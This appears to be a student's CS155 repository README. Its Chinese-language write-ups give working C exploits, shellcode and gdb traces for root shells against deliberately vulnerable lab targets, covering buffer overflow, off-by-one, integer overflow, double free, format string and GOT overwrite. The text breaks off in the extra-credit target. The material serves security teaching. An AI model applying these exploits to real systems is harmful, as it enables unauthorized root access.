├── README.md ├── proj1 ├── ID.csv ├── Makefile ├── README ├── fuzz │ ├── README │ └── testcases │ │ └── bsdtar-testcase ├── proj1.pdf ├── sanity.sh ├── sploits │ ├── Makefile │ ├── extra-credit.py │ ├── run-shellcode.c │ ├── shellcode.S │ ├── shellcode.h │ ├── sploit1.c │ ├── sploit2.c │ ├── sploit3.c │ ├── sploit4.c │ ├── sploit5.c │ └── sploit6.c └── targets │ ├── Makefile │ ├── extra-credit.c │ ├── target1.c │ ├── target2.c │ ├── target3.c │ ├── target4.c │ ├── target5.c │ ├── target6.c │ ├── tmalloc.c │ └── tmalloc.h └── proj2 ├── Dockerfile ├── a.txt ├── b.html ├── build_image.sh ├── c.txt ├── code ├── .babelrc ├── app.js ├── bin │ └── www ├── db │ ├── database.sqlite │ └── migrate │ │ ├── 001-create-schema.sql │ │ ├── 002-add-initial-users.sql │ │ └── reset.js ├── package.json ├── public │ ├── images │ │ └── background.jpg │ └── stylesheets │ │ ├── application.css │ │ └── pure-min.css ├── router.js ├── utils │ ├── asyncMiddleware.js │ ├── crypto.js │ └── sjcl.js ├── views │ ├── layout │ │ └── template.ejs │ ├── pages │ │ ├── error.ejs │ │ ├── index.ejs │ │ ├── login │ │ │ ├── form.ejs │ │ │ └── success.ejs │ │ ├── profile │ │ │ └── view.ejs │ │ ├── register │ │ │ ├── form.ejs │ │ │ └── success.ejs │ │ ├── theft │ │ │ └── view_stolen_cookie.ejs │ │ └── transfer │ │ │ ├── form.ejs │ │ │ └── success.ejs │ └── partials │ │ ├── head.ejs │ │ ├── header.ejs │ │ └── login-status.ejs └── yarn.lock ├── d.txt ├── e.txt ├── f.txt ├── proj2.pdf └── start_server.sh /README.md: -------------------------------------------------------------------------------- 1 | # cs155 2 | 3 | - [Proj1](#proj1) 4 | + [Target1 Buffer overflow](#target1-buffer-overflow) 5 | + [Target2 Off-by-one](#target2-off-by-one) 6 | + [Target3 Integer overflow](#target3-integer-overflow) 7 | + [Target4 Double free](#target4-double-free) 8 | + [Target5 Format string](#target5-format-string) 9 | + [Target6 Global offset table](#target6-global-offset-table) 10 | + [Extra credit bypass stack canary](#extra-credit-bypass-stack-canary) 11 | - [Proj2](#proj2) 12 | + [Exploit Alpha Cookie Theft](#exploit-alpha-cookie-theft) 13 | + [Exploit Bravo Cross Site Request Forgery](#exploit-bravo-cross-site-request-forgery) 14 | + [Exploit Charlie Session Hijacking with Cookies](#exploit-charlie-session-hijacking-with-cookies) 15 | + [Exploit Delta Cooking the Books with Cookies](#exploit-delta-cooking-the-books-with-cookies) 16 | + [Exploit Echo SQL Injection](#exploit-echo-sql-injection) 17 | + [Exploit Foxtrot Profile Worm](#exploit-foxtrot-profile-worm) 18 | 19 | # Proj1 20 | ## Target1 Buffer overflow 21 | ```c 22 | int bar(char *arg, char *out) 23 | { 24 | strcpy(out, arg); 25 | return 0; 26 | } 27 | 28 | void foo(char *argv[]) 29 | { 30 | char buf[256]; 31 | bar(argv[1], buf); 32 | } 33 | 34 | int main(int argc, char *argv[]) 35 | { 36 | if (argc != 2) 37 | { 38 | fprintf(stderr, "target1: argc != 2\n"); 39 | exit(EXIT_FAILURE); 40 | } 41 | setuid(0); 42 | foo(argv); 43 | return 0; 44 | } 45 | ``` 46 | 最基本的buffer overflow,直接更改return的地址,指向buf前面的NOP,然后进入执行shellcode 47 | 48 | ```console 49 | user@vm-cs155:~/cs155/proj1/sploits$ ./sploit1 50 | # 51 | ``` 52 | 53 | ```c 54 | int main(void) 55 | { 56 | // put '\0' at the end 57 | char sploitstring[256 + 2 * sizeof(int) + 1]; 58 | memset(sploitstring, '\x90', sizeof(sploitstring)); 59 | sploitstring[sizeof(sploitstring) - 1] = 0; 60 | 61 | // shellcode is a string which ends with '\0' 62 | // should not copy '\0' to buffer otherwise 63 | // there wont be a buffer overflow 64 | memcpy(sploitstring + 100, shellcode, sizeof(shellcode) - 1); 65 | 66 | // address of eip 67 | int *ret = (int *) (sploitstring + 256 + sizeof(int)); 68 | *ret = 0xbffffc5c; 69 | 70 | 71 | char *args[] = { TARGET, sploitstring, NULL }; 72 | char *env[] = { NULL }; 73 | 74 | execve(TARGET, args, env); 75 | fprintf(stderr, "execve failed.\n"); 76 | 77 | return 0; 78 | } 79 | ``` 80 | ## Target2 Off by one 81 | 虽然nstrcpy做了范围check,但是多复制了一个byte,因此可以overflow `%ebp` 82 | ```c 83 | void nstrcpy(char *out, int outl, char *in) 84 | { 85 | int i, len; 86 | 87 | len = strlen(in); 88 | if (len > outl) 89 | len = outl; 90 | 91 | for (i = 0; i <= len; i++) 92 | out[i] = in[i]; 93 | } 94 | 95 | void bar(char *arg) 96 | { 97 | char buf[200]; 98 | 99 | nstrcpy(buf, sizeof buf, arg); 100 | } 101 | 102 | void foo(char *argv[]) 103 | { 104 | bar(argv[1]); 105 | } 106 | 107 | int main(int argc, char *argv[]) 108 | { 109 | if (argc != 2) 110 | { 111 | fprintf(stderr, "target2: argc != 2\n"); 112 | exit(EXIT_FAILURE); 113 | } 114 | setuid(0); 115 | foo(argv); 116 | return 0; 117 | } 118 | ``` 119 | 因为x86用的是little endian,所以溢出的两个byte就是`%ebp`的最后的两个byte,比如原来系统中`%ebp`为`0xbffffd90`,因为`sploitstring[200]=0`,所以`%ebp`就变为`0xbffffd00`,因为buf里面有201个byte,但是32位机器要连续两个word,所以溢出了两个byte 120 | 121 | buf从`0xbffffcc8`开始,`%ebp=0xbffffd90`,buf溢出后修改`%ebp`的最后两个byte使得`%ebp`变成`%ebp=0xbffffd00`也就是在buf中间的`new_ebp`,当函数返回时,`%esp`会从`new_ebp`中load,为了方便显示,`0xbffffd00`中存了`0xffffffff`,然后`%esp`拿栈顶来load给`%eip`也就数`new_ebp`后面的`new_eip`,这也是shellcode的起始地址 122 | 123 | ```console 124 | user@vm-cs155:~/cs155/proj1/sploits$ ./sploit2 125 | # 126 | ``` 127 | 128 | **target1和target2的区别** 129 | 130 | target2中,main调用了foo,foo调用了bar,bar里面buffer overflow,而target1中main只调用了foo,这里就是最大的区别。因为target2中,overflow了bar这个frame的`%ebp`,然后返回到foo的时候,`%esp`从`%ebp`里面load,foo想要返回时,取esp上面的也就是被替换的`%eip`返回,从而进入了shellcode。target1中,overflow了foo这个frame的`%ebp`和`%eip`,然后`%esp` load了`%ebp=0x90909090`,返回进入了shellcode,即使`%ebp`被改了也没问题。 131 | 132 | ``` 133 | ^------------| 134 | | v 135 | addr: 0xbffffcc8 0xbffffd00 0xbffffd04 136 | [buffer ... new_ebp new_eip ... shellcode]|[ebp]|[return] 137 | val: 0xffffffff 0xbffffd08 0xbffffd00 138 | ^ | 139 | |-------------------------------v 140 | ``` 141 | 142 | 143 | ```console 144 | $ (gdb) x/100x buf 145 | 0xbffffcc8: 0x90909090 0x90909090 0x90909090 0x90909090 146 | 0xbffffcd8: 0x90909090 0x90909090 0x90909090 0x90909090 147 | 0xbffffce8: 0x90909090 0x90909090 0x90909090 0x90909090 148 | 0xbffffcf8: 0x90909090 0x90909090 0xffffffff 0xbffffd08 149 | 0xbffffd08: 0x895e1feb 0xc0310876 0x89074688 0x0bb00c46 150 | 0xbffffd18: 0x4e8df389 0x0c568d08 0xdb3180cd 0xcd40d889 151 | 0xbffffd28: 0xffdce880 0x622fffff 0x732f6e69 0x90909068 152 | 0xbffffd38: 0x90909090 0x90909090 0x90909090 0x90909090 153 | 0xbffffd48: 0x90909090 0x90909090 0x90909090 0x90909090 154 | 0xbffffd58: 0x90909090 0x90909090 0x90909090 0x90909090 155 | 0xbffffd68: 0x90909090 0x90909090 0x90909090 0x90909090 156 | 0xbffffd78: 0x90909090 0x90909090 0x90909090 0x90909090 157 | 0xbffffd88: 0x90909090 0x90909090 0xbffffd00 0x0804854e 158 | ^ 159 | %ebp 160 | ``` 161 | ```c 162 | int main(void) 163 | { 164 | char sploitstring[201]; 165 | memset(sploitstring, '\x90', sizeof(sploitstring)); 166 | sploitstring[200] = 0; 167 | 168 | int offset = 0xbffffd00 - 0xbffffcc8; 169 | *(int *) (sploitstring + offset) = 0xffffffff; 170 | *(int *) (sploitstring + offset + 4) = 0xbffffd00 + 4 + 4; 171 | memcpy(sploitstring + offset + 4 + 4, shellcode, strlen(shellcode)); 172 | 173 | char *args[] = { TARGET, sploitstring, NULL }; 174 | char *env[] = { NULL }; 175 | 176 | execve(TARGET, args, env); 177 | fprintf(stderr, "execve failed.\n"); 178 | 179 | return 0; 180 | } 181 | ``` 182 | ## Target3 Integer overflow 183 | ```c 184 | struct widget_t { 185 | double x; 186 | double y; 187 | int count; 188 | }; 189 | 190 | #define MAX_WIDGETS 1000 191 | 192 | int foo(char *in, int count) 193 | { 194 | struct widget_t buf[MAX_WIDGETS]; 195 | 196 | if (count < MAX_WIDGETS) 197 | memcpy(buf, in, count * sizeof(struct widget_t)); 198 | 199 | return 0; 200 | } 201 | 202 | int main(int argc, char *argv[]) 203 | { 204 | int count; 205 | char *in; 206 | 207 | if (argc != 2) 208 | { 209 | fprintf(stderr, "target3: argc != 2\n"); 210 | exit(EXIT_FAILURE); 211 | } 212 | setuid(0); 213 | 214 | /* 215 | * format of argv[1] is as follows: 216 | * 217 | * - a count, encoded as a decimal number in ASCII 218 | * - a comma (",") 219 | * - the remainder of the data, treated as an array 220 | * of struct widget_t 221 | */ 222 | 223 | count = (int)strtoul(argv[1], &in, 10); 224 | if (*in != ',') 225 | { 226 | fprintf(stderr, "target3: argument format is [count],[data]\n"); 227 | exit(EXIT_FAILURE); 228 | } 229 | in++; /* advance one byte, past the comma */ 230 | foo(in, count); 231 | 232 | return 0; 233 | } 234 | ``` 235 | 关键的是要满足以下几个条件,有符号的count要小于1000,无符号的要满足`(20 * count) mod (2^32) = k`略大于20000,但是又不能太大,否则会seg fault 236 | 237 | 所以是`20 * count = k + 2^32 * r`,`count = k/20 + 2^32*r/20`,因为k需要略大于20000才能overflow并且需要是20的整数倍,所以取`k=20020`,又因为count需要overflow int,所以`1001+2^32*r/20 > 2^32 - 1`,因此取`r=10`,所以`count=1001+2^31=2147484649`,所以`(20 * 2147484649) mod 2^32 = 20020`,插入shellcode然后修改return地址即可 238 | 239 | ```console 240 | user@vm-cs155:~/cs155/proj1/sploits$ ./sploit3 241 | # 242 | ``` 243 | 244 | 245 | ```c 246 | if (count < MAX_WIDGETS) 247 | memcpy(buf, in, count * sizeof(struct widget_t)); 248 | ``` 249 | ```c 250 | int main(void) 251 | { 252 | 253 | char sploitstring[1000 * (2 * sizeof(double) + sizeof(int)) + 4 + 11]; 254 | memset(sploitstring, '\x90', sizeof(sploitstring)); 255 | // sizeof(struct widget_t) = 20 256 | // (20 * count) mod 2^32 = 1000 * 20 + 4 + 1 257 | // (int) count < 0 258 | // printf("%zu\n", 2147484649*20)=20020 259 | char *countstring = "2147484649,"; 260 | memcpy(sploitstring, countstring, strlen(countstring)); 261 | memcpy(sploitstring + 40, shellcode, strlen(shellcode)); 262 | *(int *)(sploitstring + 20000 + strlen(countstring) + 4) = 0xbfff6210; 263 | 264 | char *args[] = { TARGET, sploitstring, NULL }; 265 | char *env[] = { NULL }; 266 | 267 | execve(TARGET, args, env); 268 | fprintf(stderr, "execve failed.\n"); 269 | 270 | return 0; 271 | } 272 | ``` 273 | ## Target4 Double free 274 | ```c 275 | int foo(char *arg) 276 | { 277 | char *p; 278 | char *q; 279 | 280 | if ( (p = tmalloc(500)) == NULL) 281 | { 282 | fprintf(stderr, "tmalloc failure\n"); 283 | exit(EXIT_FAILURE); 284 | } 285 | if ( (q = tmalloc(300)) == NULL) 286 | { 287 | fprintf(stderr, "tmalloc failure\n"); 288 | exit(EXIT_FAILURE); 289 | } 290 | 291 | tfree(p); 292 | tfree(q); 293 | 294 | if ( (p = tmalloc(1024)) == NULL) 295 | { 296 | fprintf(stderr, "tmalloc failure\n"); 297 | exit(EXIT_FAILURE); 298 | } 299 | 300 | obsd_strlcpy(p, arg, 1024); 301 | 302 | tfree(q); 303 | 304 | return 0; 305 | } 306 | 307 | int main(int argc, char *argv[]) 308 | { 309 | if (argc != 2) 310 | { 311 | fprintf(stderr, "target4: argc != 2\n"); 312 | exit(EXIT_FAILURE); 313 | } 314 | setuid(0); 315 | foo(argv[1]); 316 | return 0; 317 | } 318 | ``` 319 | 这里的漏洞是,先tmalloc了p和q,然后tfree了p和q,然后又tmalloc了p,又tfree了q,这里q被free了两次,而第二次tmalloc的p大小刚好覆盖了之前q的位置,拷贝buffer进入heap的时候,可以overflow q指针,当free q指针的时候,就可以导致程序执行顺序错乱 320 | ```c 321 | p = tmalloc(500); 322 | q = tmalloc(300); 323 | tfree(p); 324 | tfree(q); 325 | p = tmalloc(1024); 326 | tfree(q); 327 | ``` 328 | 首先先看tmalloc.c里面对chunk的定义,可以看到,每个chunk有个头,头里面是l和r指针,指向的是其他free的heap空间 329 | ```c 330 | typedef union CHUNK_TAG 331 | { 332 | struct 333 | { 334 | union CHUNK_TAG *l; /* leftward chunk */ 335 | union CHUNK_TAG *r; /* rightward chunk + free bit (see below) */ 336 | } s; 337 | ALIGN x; 338 | } CHUNK; 339 | ``` 340 | 也就是说,chunk在内存中是这样安排的 341 | ```bash 342 | (high mem address) 343 | [data] (direct pointer to data points here) 344 | [next ptr] <4> 345 | [prev ptr] <4> (next/prev pointers from other structs point here) 346 | [...] <4> 347 | (low mem address) 348 | ``` 349 | 每次要tfree一个指针q时,会执行以下操作 350 | ```c 351 | q.next.prev = q.prev 352 | q.prev.next = q.next 353 | ``` 354 | 因此,首先在buffer里面找到q的位置,设置 355 | ```c 356 | *(int *)(sploitstring + 512 - 8) = 0x0804a068; // q.prev = shellcode 357 | *(int *)(sploitstring + 512 - 4) = 0xbffffa70; // q.next = eip 358 | ``` 359 | 当free q指针时,要做`q.next.prev=q.prev`,具体来说就是因为之前已经设置了`q.next=eip`,这里`q.next.prev=(chunk*)eip->prev=*eip`,所以一旦free了q指针,就改变了eip里头的东西,程序就返回到了shellcode。还要注意的是,要把q的free bit置位,然后通过jmp指令跳过eip指向的地址内容发生错乱也就是这里的`\x90` 360 | 361 | ```console 362 | user@vm-cs155:~/cs155/proj1/sploits$ ./sploit4 363 | # 364 | ``` 365 | 366 | ```c 367 | int main(void) 368 | { 369 | char sploitstring[1024]; 370 | memset(sploitstring, '\x90', sizeof(sploitstring)); 371 | sploitstring[sizeof(sploitstring) - 1] = 0; 372 | memcpy(sploitstring + 32, shellcode, strlen(shellcode)); 373 | // p = 0x804a068 374 | // q = 0x804a268 375 | // q.bk = eip + 1 376 | // q.bk.fd = p 377 | *(int *)(sploitstring + 512 - 8) = 0x0804a068; 378 | *(int *)(sploitstring + 512 - 4) = 0xbffffa70; 379 | *(int *)(sploitstring + 4) = -1; 380 | *(short *)(sploitstring) = 0x0ceb; 381 | 382 | char *args[] = { TARGET, sploitstring, NULL }; 383 | char *env[] = { NULL }; 384 | 385 | execve(TARGET, args, env); 386 | fprintf(stderr, "execve failed.\n"); 387 | 388 | return 0; 389 | } 390 | ``` 391 | ## Target5 Format string 392 | ```c 393 | int foo(char *arg) 394 | { 395 | char buf[400]; 396 | snprintf(buf, sizeof buf, arg); 397 | return 0; 398 | } 399 | 400 | int main(int argc, char *argv[]) 401 | { 402 | if (argc != 2) 403 | { 404 | fprintf(stderr, "target5: argc != 2\n"); 405 | exit(EXIT_FAILURE); 406 | } 407 | setuid(0); 408 | foo(argv[1]); 409 | return 0; 410 | } 411 | ``` 412 | 先要理解c中可变参数函数的工作原理,传入的第一个参数叫做format string,然后可以传入任意数量的参数 413 | ```c 414 | typedef char *va_list; 415 | 416 | #define _AUPBND (sizeof (acpi_native_int) - 1) 417 | #define _ADNBND (sizeof (acpi_native_int) - 1) 418 | 419 | #define _bnd(X, bnd) (((sizeof (X)) + (bnd)) & (~(bnd))) 420 | #define va_arg(ap, T) (*(T *)(((ap) += (_bnd (T, _AUPBND))) - (_bnd (T,_ADNBND)))) 421 | #define va_end(ap) (void) 0 422 | #define va_start(ap, A) (void) ((ap) = (((char *) &(A)) + (_bnd (A,_AUPBND)))) 423 | 424 | //start.c 425 | static char sprint_buf[1024]; 426 | int printf(char *fmt, ...) 427 | { 428 | va_list args; 429 | int n; 430 | va_start(args, fmt); 431 | n = vsprintf(sprint_buf, fmt, args); 432 | va_end(args); 433 | write(stdout, sprint_buf, n); 434 | return n; 435 | } 436 | 437 | int main() 438 | { 439 | char *str = "hello world"; 440 | int a = 10; 441 | double b = 20.0; 442 | printf("str: %s a: %d b: %f", str, a, b); 443 | printf("str: %s a: %d b: %f", str, a); 444 | } 445 | ``` 446 | 例如第一个printf调用时,倒序把参数进栈,首先压入b,然后压入a,然后压入str的地址,然后压入format string的地址,printf会parse format字符串,输出`str: `,当发现第一个`%s`时候,会向上找大小为`sizeof(char*)`的内容,并认为他是一个指向字符串的指针,输出的stdout,然后继续输出` a: `,发现`%d`时,出栈并认为是一个int然后输出,依次类推。如果出现第二个printf情况时,format string给了三个`%`,但是实际只给如了两个参数,一般的编译器并不会发现问题,而程序会继续往后找一个double的大小,然后输出到stdout,因此如果由用户给如format string,会暴露严重的安全漏洞。 447 | ```bash 448 | --------- 449 | b = 20.0 450 | --------- 451 | a = 10 452 | --------- 453 | &str ----> "hello world" 454 | --------- 455 | &format ----> "str: %s a: %d b: %f" 456 | --------- 457 | eip 458 | --------- 459 | old_ebp 460 | --------- 461 | local 462 | --------- 463 | ``` 464 | 常见的攻击方法有以下几种 465 | ### Crash program 466 | `printf("%s%s%s%s%s")`,会不断dereference null pointer,直到程序崩溃 467 | ### View memory 468 | `printf ("%08x.%08x.%08x.%08x.%08x\n")`,可以直接打出内存中的内容,也可以拿到特定内存地址的内容,比如`printf ("\x10\x01\x48\x08_%08x.%08x.%08x.%08x.%08x|%s|")`可以拿到`0x08480110`位置的内容。因为可以直接把`0x08480110`放入栈中,然后计算要偏移几次,这里从format string之后要偏移5次,然后用`%s`输出即可 469 | ```bash 470 | ---------- 471 | 0x08480110 <---- 472 | ---------- | 473 | ---------- | 474 | ---------- | 475 | ---------- | 476 | ---------- | 477 | ---------- | 478 | &format ----> 479 | ---------- 480 | ---------- <---- eip 481 | ``` 482 | ### Overwrite memory 483 | 这必须要用神奇的`%n`,意思是count已经输出的字符数并存入给的值中,比如,在遇到`%n`之前,已经输出了6个字符,然后把6存入i中,要注意的是,这里传入的是i的地址。 484 | ```c 485 | int i; 486 | printf("hello %n", &i); 487 | ``` 488 | 因此,format string不仅仅可以看内存,其实还可以修改内存,这就可以用类似的方法,把call stack中return address改变为shellcode,导致严重的安全问题。 489 | 490 | target5中,用的是snprintf(buf, maxLength, format, ...),注意这里有range check,因此不能overflow,call stack如下所示,先push format string的地址,然后是maxLength,然后是buffer的地址,我们的目标就是把return address中的内容修改为想要的地址,从那儿开始可以滑入shellcode。但是我们发现,`0xbffffe5f-0xbffffb4c=787`,想要通过`%08x`来前进栈指针,`787/4*4>400`是不可能拷贝进入format string的,所以这里要好好利用snprintf的特性,因为在遇到`%`之前,字符会放入buf中,当遇到`%`时,其实可以利用刚刚放入buf的东西来exploit 491 | ```bash 492 | ---------- 493 | format 494 | ---------- 0xbffffe5f <--- format 495 | . 496 | . 497 | . 498 | ---------- 499 | ---------- 0xbffffb4c <--- buffer 500 | 0xbffffe5f 501 | ---------- 0xbffffb48 <--- &format 502 | 400 503 | ---------- 0xbffffb44 <--- maxLength 504 | 0xbffffb4c 505 | ---------- 0xbffffb40 <--- &buffer 506 | 0x080484e8 507 | ---------- 0xbffffb48 <--- return 508 | ---------- 0xbffffb48 <--- old_ebp 509 | ``` 510 | 我们这里的目标是把return address中的`0x080484e8`修改为`0xbffffe9f`,这里`0xbffffe9f`指向的是shellcode前面的`\x90` 511 | 512 | 详细call stack如下所示,snprintf会先把format中`%`之前的字符全都拷贝进入buffer里面,然后开始parse format string。 513 | 514 | - **`%127u%n`**: 把`0xbffffb4c`里面的按照127的宽度输出,所以`32+127=0x9f`,通过`%n`存入`0xbffffb3c`指向的地址中,也就是修改了return address的最低两位,这时候return address是`0x0000009f` 515 | 516 | - **`%95u%n`**: 把`0xbffffb54`里面的按照95的宽度输出,所以`32+127+95=0xfe`,通过`%n`存入`0xbffffb3c`指向的地址中,这时候return address是`0x0000fe9f` 517 | 518 | - **`%257u%n`**: 把`0xbffffb54`里面的按照257的宽度输出,所以`32+127+95+257=0x1ff`,通过`%n`存入`0xbffffb3c`指向的地址中,这时候return address是`0x01fffe9f` 519 | 520 | - **`%192u%n`**: 把`0xbffffb54`里面的按照192的宽度输出,所以`32+127+95+257+192=0x2bf`,通过`%n`存入`0xbffffb3c`指向的地址中,这时候return address是`0xbffffe9f` 521 | 522 | **终于拿到root了!开心!撒花!** 523 | 524 | ```console 525 | user@vm-cs155:~/cs155/proj1/sploits$ ./sploit5 526 | # 527 | ``` 528 | 529 | ```bash 530 | ---------- 531 | format: "\xff\xff\xff\xff\x3c\xfb\xff\xbf" 532 | "\xff\xff\xff\xff\x3d\xfb\xff\xbf" 533 | "\xff\xff\xff\xff\x3e\xfb\xff\xbf" 534 | "\xff\xff\xff\xff\x3f\xfb\xff\xbf" 535 | "%127u%n%95u%n%257u%n%192u%n"; 536 | ---------- 0xbffffe5f <--- format 537 | . 538 | . 539 | . 540 | ---------- 0xbffffb6c 541 | 0xbffffb3c 542 | ---------- 0xbffffb68 543 | 0xffffffff 544 | ---------- 0xbffffb64 545 | 0xbffffb3c 546 | ---------- 0xbffffb60 547 | 0xffffffff 548 | ---------- 0xbffffb5c 549 | 0xbffffb3c 550 | ---------- 0xbffffb58 551 | 0xffffffff 552 | ---------- 0xbffffb54 553 | 0xbffffb3c 554 | ---------- 0xbffffb50 555 | 0xffffffff 556 | ---------- 0xbffffb4c <--- buffer 557 | 0xbffffe5f 558 | ---------- 0xbffffb48 <--- &format 559 | 400 560 | ---------- 0xbffffb44 <--- maxLength 561 | 0xbffffb4c 562 | ---------- 0xbffffb40 <--- &buffer 563 | 0x080484e8 564 | ---------- 0xbffffb48 <--- return 565 | ---------- 0xbffffb48 <--- old_ebp 566 | ``` 567 | ```c 568 | int main(void) 569 | { 570 | char sploitstring[400]; 571 | char *fmt; 572 | 573 | memset(sploitstring, '\x90', sizeof(sploitstring)); 574 | sploitstring[sizeof(sploitstring)-1] = '\0'; 575 | 576 | fmt = "\xff\xff\xff\xff\x3c\xfb\xff\xbf" 577 | "\xff\xff\xff\xff\x3d\xfb\xff\xbf" 578 | "\xff\xff\xff\xff\x3e\xfb\xff\xbf" 579 | "\xff\xff\xff\xff\x3f\xfb\xff\xbf" 580 | "%127u%n%95u%n%257u%n%192u%n"; 581 | 582 | memcpy(sploitstring, fmt, strlen(fmt)); 583 | memcpy(sploitstring + sizeof(sploitstring) - strlen(shellcode) - 4, shellcode, strlen(shellcode)); 584 | 585 | char *args[] = { TARGET, sploitstring, NULL }; 586 | char *env[] = { NULL }; 587 | 588 | execve(TARGET, args, env); 589 | fprintf(stderr, "execve failed.\n"); 590 | 591 | return 0; 592 | } 593 | ``` 594 | ## Target6 Global offset table 595 | ```c 596 | void nstrcpy(char *out, int outl, char *in) 597 | { 598 | int i, len; 599 | 600 | len = strlen(in); 601 | if (len > outl) 602 | len = outl; 603 | 604 | for (i = 0; i <= len; i++) 605 | out[i] = in[i]; 606 | } 607 | 608 | void bar(char *arg) 609 | { 610 | char buf[200]; 611 | 612 | nstrcpy(buf, sizeof buf, arg); 613 | } 614 | 615 | void foo(char *argv[]) 616 | { 617 | int *p; 618 | int a = 0; 619 | p = &a; 620 | 621 | bar(argv[1]); 622 | 623 | *p = a; 624 | 625 | _exit(0); 626 | /* not reached */ 627 | } 628 | 629 | int main(int argc, char *argv[]) 630 | { 631 | if (argc != 2) 632 | { 633 | fprintf(stderr, "target6: argc != 2\n"); 634 | exit(EXIT_FAILURE); 635 | } 636 | setuid(0); 637 | foo(argv); 638 | return 0; 639 | } 640 | ``` 641 | 这题乍一眼看上去好像是第二题,但是其实区别非常非常大,因为`foo`中,最后调用了`_exit(0)`,这样即使修改了return地址,函数`foo`其实不返回,所以无法exploit。仔细看看函数`foo`,调用完函数`bar`之后,执行了`*p = a`,也就是修改了一个指针的内容!如果我们知道`_exit`在GOT中的地址,只要把`_exit`在GOT中的地址改为shellcode的地址,不就能跳入shell了嘛!搞起搞起! 642 | 643 | 我们先反汇编`foo`,看到最后call了`_exit` 644 | ```console 645 | (gdb) disass foo 646 | Dump of assembler code for function foo: 647 | 0x0804855d <+0>: push %ebp 648 | 0x0804855e <+1>: mov %esp,%ebp 649 | 0x08048560 <+3>: sub $0x8,%esp 650 | => 0x08048563 <+6>: movl $0x0,-0x8(%ebp) 651 | 0x0804856a <+13>: lea -0x8(%ebp),%eax 652 | 0x0804856d <+16>: mov %eax,-0x4(%ebp) 653 | 0x08048570 <+19>: mov 0x8(%ebp),%eax 654 | 0x08048573 <+22>: add $0x4,%eax 655 | 0x08048576 <+25>: mov (%eax),%eax 656 | 0x08048578 <+27>: push %eax 657 | 0x08048579 <+28>: call 0x804853a 658 | 0x0804857e <+33>: add $0x4,%esp 659 | 0x08048581 <+36>: mov -0x8(%ebp),%edx 660 | 0x08048584 <+39>: mov -0x4(%ebp),%eax 661 | 0x08048587 <+42>: mov %edx,(%eax) 662 | 0x08048589 <+44>: push $0x0 663 | 0x0804858b <+46>: call 0x8048380 <_exit@plt> 664 | End of assembler dump. 665 | ``` 666 | 继续反汇编`_exit`,看到`_exit`其实跳入了`0x804a00c`,这个就是`_exit`的GOT地址 667 | ```console 668 | (gdb) disass 0x8048380 669 | Dump of assembler code for function _exit@plt: 670 | 0x08048380 <+0>: jmp *0x804a00c 671 | 0x08048386 <+6>: push $0x0 672 | 0x0804838b <+11>: jmp 0x8048370 673 | End of assembler dump. 674 | ``` 675 | 所以,我们要把`_exit`地址中的东西,改为我们要的shellcode的地址,这里是`0xbffffcc0`,要做的是`*(int*)(0x804a00c) = 0xbffffcc0`,这不就是`*p = a`嘛!!!所以,我们来研究下call stack然后把该放的东西塞进去,就行了!一气呵成! 676 | ```bash 677 | ---foo---- 678 | ---------- 0xbffffda0 <--- rt 679 | ---------- 0xbffffd9c <--- old_ebp 680 | *p 681 | ---------- 0xbffffd98 <--- &p 682 | a 683 | ---------- 0xbffffd94 <--- &a 684 | ---bar---- 685 | arg 686 | ---------- 0xbffffd90 687 | ---------- 0xbffffd8c <--- rt 688 | 0xbffffd9c 溢出之后变成 0xbffffd00 689 | ---------- 0xbffffd88 <--- old_ebp 690 | . 691 | . 692 | . 693 | ---------- 694 | ---------- 0xbffffd00 <--- new_ebp 695 | 0x0804a00c 696 | ---------- 0xbffffcfc <--- new &p 697 | 0xbffffcc0 698 | ---------- 0xbffffdf8 <--- new &a 699 | . 700 | . 701 | . 702 | ---------- 0xbffffcc0 <--- buf 703 | ``` 704 | 和target2类似的道理,off-by-one溢出之后,`bar`中的`old_ebp`被修改为`0xbffffd00`,当bar返回时候,`%esp`从`%ebp`中load,然后调用`*p = a`,而这时候的`*p`和`a`已经变成了`*new_p`和`new_a`如下所示,然后就修改了GOT里头`_exit`的地址,实际指向了shellcode,成功! 705 | 706 | ```console 707 | user@vm-cs155:~/cs155/proj1/sploits$ ./sploit6 708 | # 709 | ``` 710 | 711 | 712 | ```c 713 | int main(void) 714 | { 715 | char sploitstring[201]; 716 | memset(sploitstring, '\x90', sizeof(sploitstring)); 717 | sploitstring[200] = 0; 718 | int offset = 0xbffffd00 - 0xbffffcc0; 719 | *(int *) (sploitstring + offset - 4) = 0x0804a00c; 720 | *(int *) (sploitstring + offset - 8) = 0xbffffcc0; 721 | 722 | memcpy(sploitstring, shellcode, strlen(shellcode)); 723 | 724 | char *args[] = { TARGET, sploitstring, NULL }; 725 | char *env[] = { NULL }; 726 | 727 | execve(TARGET, args, env); 728 | fprintf(stderr, "execve failed.\n"); 729 | 730 | return 0; 731 | } 732 | ``` 733 | 734 | ## Extra credit bypass stack canary 735 | ```c 736 | int freadline(int fd, char *buf) { 737 | int i = 0; 738 | char next; 739 | for (;;) { 740 | int c = read(fd, &next, 1); 741 | if (c <= 0) { 742 | break; 743 | } 744 | 745 | if (next == '\n') { 746 | return i; 747 | } 748 | 749 | buf[i] = next; 750 | 751 | i++; 752 | } 753 | return -1; 754 | } 755 | 756 | int respond_once(int clientfd) { 757 | char buf[2048]; 758 | 759 | int line_len = freadline(clientfd, buf); 760 | if (line_len <= 0) { 761 | write(clientfd, "done\r\n", 6); 762 | close(clientfd); 763 | return -1; 764 | } 765 | 766 | write(clientfd, buf, line_len); 767 | write(clientfd, "\r\n", 2); 768 | return line_len; 769 | } 770 | 771 | void echo_server(int clientfd) { 772 | 773 | while (respond_once(clientfd) >= 0) { 774 | ;; 775 | } 776 | } 777 | 778 | /* socket-bind-listen idiom */ 779 | static int start_server(const char *portstr) 780 | { 781 | struct addrinfo hints = {0}, *res; 782 | int sockfd; 783 | int e, opt = 1; 784 | 785 | hints.ai_family = AF_UNSPEC; 786 | hints.ai_socktype = SOCK_STREAM; 787 | hints.ai_flags = AI_PASSIVE; 788 | 789 | if ((e = getaddrinfo(NULL, portstr, &hints, &res))) 790 | errx(1, "getaddrinfo: %s", gai_strerror(e)); 791 | if ((sockfd = socket(res->ai_family, res->ai_socktype, res->ai_protocol)) < 0) 792 | err(1, "socket"); 793 | if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt))) 794 | err(1, "setsockopt"); 795 | if (fcntl(sockfd, F_SETFD, FD_CLOEXEC) < 0) 796 | err(1, "fcntl"); 797 | if (bind(sockfd, res->ai_addr, res->ai_addrlen)) 798 | err(1, "bind"); 799 | if (listen(sockfd, 5)) 800 | err(1, "listen"); 801 | freeaddrinfo(res); 802 | 803 | return 